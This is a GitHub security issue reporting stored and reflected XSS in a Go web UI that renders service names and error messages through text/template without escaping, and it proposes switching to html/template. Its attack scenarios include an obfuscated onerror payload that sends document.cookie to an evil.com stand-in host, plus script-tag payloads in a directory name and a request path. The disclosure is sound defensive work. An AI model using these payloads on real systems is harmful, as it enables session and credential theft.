Skip to content

[Security] Stored XSS via text/template — No HTML Escaping (CWE-79) #109

Description

@appsecguardian-hash

Summary

The web UI template renderer (router/ui/renderer.go:6) imports Go's text/template package instead of html/template. The text/template package performs no context-aware escaping whatsoever — all template variables (service names, error messages, binding types) are rendered as raw, unescaped text into HTML and JavaScript contexts.

Go's html/template (the secure alternative) auto-escapes output based on context (HTML, JS, URL, CSS) and is a drop-in replacement.

Severity

HIGH — CVSS 3.1: 8.1 (AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:N)
CWE-79 (Cross-site Scripting — Stored)

Affected Code

router/ui/renderer.go:6:

import "text/template"  // SHOULD BE "html/template"

Injection Points in Templates

  • public/services.html:27{{ $service.Name }} in <a> href AND text
  • public/service.html:11{{ .Service.Name }} in <h3> tag
  • public/service.html:179,216,236,257,277{{ .Service.Name }} inside JavaScript string literals in fetch() calls
  • public/error.html:10{{ .Error.Message }} which can contain URL parameter values

Attack Scenario — Stored XSS (Cloud Foundry)

# 1. Attacker (CF space developer) creates service instance with XSS payload as name
cf create-service postgres small '<img src=x onerror="fetch(atob(\"aHR0cHM6Ly9ldmlsLmNvbS8/Yz0=\")+btoa(document.cookie))">'

# 2. Bind to backman
cf bind-service backman '<img src=x onerror=...>'

# 3. Backman picks up service name from VCAP_SERVICES
# 4. Admin views backman web UI → XSS executes → session/credential theft

Attack Scenario — Stored XSS (Kubernetes)

# Create service binding directory with XSS name
mkdir -p /bindings/'<script>alert(document.cookie)</script>'
echo 'postgres' > /bindings/'<script>alert(document.cookie)</script>'/type

Attack Scenario — Reflected XSS

GET /services/<script>alert(1)</script> HTTP/1.1
Authorization: Basic dXNlcjpwYXNz

# Error handler renders unescaped service_type parameter in error.html

Impact

  • Steal BasicAuth credentials (sent with every request, extractable from Authorization header)
  • Download database backups via API calls from the victim's authenticated session
  • Trigger unauthorized restore/delete operations
  • Pivot to S3 credentials accessible via the API

Note: This chains with the authentication bypass reported in issue #108 — if credentials are not configured, XSS can be triggered without any authentication.

Suggested Fix

One-line change in router/ui/renderer.go:6:

// BEFORE (vulnerable):
import "text/template"

// AFTER (fixed):
import "html/template"

All template functions remain compatible. html/template is a drop-in replacement that adds context-aware auto-escaping.

Disclosure

This report was generated with the assistance of AI-based analysis tools. Reported in good faith as a security researcher.

Reported by: Ashish Kunwar (ashishkunwar280@gmail.com)

Metadata

Metadata

Assignees

No one assigned

    Labels

    No labels
    No labels

    Type

    No type

    Projects

    No projects

    Milestone

    No milestone

    Relationships

    None yet

    Development

    No branches or pull requests

    Issue actions